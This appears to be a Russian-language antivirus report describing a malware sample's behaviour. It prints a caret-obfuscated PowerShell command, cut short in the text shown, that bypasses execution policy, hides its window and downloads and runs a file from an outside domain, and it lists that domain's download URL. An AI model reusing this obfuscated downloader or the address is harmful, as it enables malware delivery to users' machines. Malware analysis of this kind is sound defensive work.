Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pO^wER^ShElL.E^X^e^ -e^X^E^cUTI^onPO^lIc^y^ b^yP^Ass ^-nopRO^fiLE -^wIN^dOwstYLe^ ^h^Idden^ ^(new^-^O^b^jEc^t^ SYS^tEM^.n^et.^W^Eb^ClIeNT^).doWnl^oadF^IlE('http://www.zonedop...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pO^wER^ShElL.E^X^e^ -e^X^E^cUTI^onPO^lIc^y^ b^yP^Ass ^-nopRO^fiLE -^wIN^dOwstYLe^ ^h^Idden^ ^(new^-^O^b^jEc^t^ SYS^tEM^.n^et.^W^Eb^ClIeNT^).doWnl^oadF^IlE('http://www.zonedop...' (со скрытым окном)
